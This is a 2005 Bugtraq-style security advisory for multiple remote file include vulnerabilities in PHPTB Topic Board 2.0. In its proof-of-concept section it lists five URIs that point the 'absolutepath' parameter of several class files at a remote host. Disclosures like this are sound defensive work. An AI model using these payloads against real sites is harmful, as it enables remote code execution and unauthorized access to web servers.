PHPTB Topic Board Multiple Remote File Include Vulnerabilities

Bugtraq ID:	14592
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 17 2005 12:00AM
Updated:	Aug 17 2005 12:00AM
Credit:	Filip Groszynski is credited with the discovery of these vulnerabilities.
Vulnerable:	PHPTB Topic Board 2.0
Not Vulnerable:

PHPTB Topic Board Multiple Remote File Include Vulnerabilities

PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

PHPTB Topic Board Multiple Remote File Include Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example.com/classes/admin_o.php?absolutepath=http://www.example.com/
http://www.example.com/classes/board_o.php?absolutepath=http://www.example.com/
http://www.example.com/classes/dev_o.php?absolutepath=http://www.example.com/
http://www.example.com/classes/file_o.php?absolutepath=http://www.example.com/
http://www.example.com/classes/tech_o.php?absolutepath=http://www.example.com/

PHPTB Topic Board Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHPTB Topic Board Multiple Remote File Include Vulnerabilities

References:

• PHPTB Web Site (PHPTB)
  
• PHPTB Topic Board <= 20: Multiple PHP injection vulnerabilities (Filip Groszynski )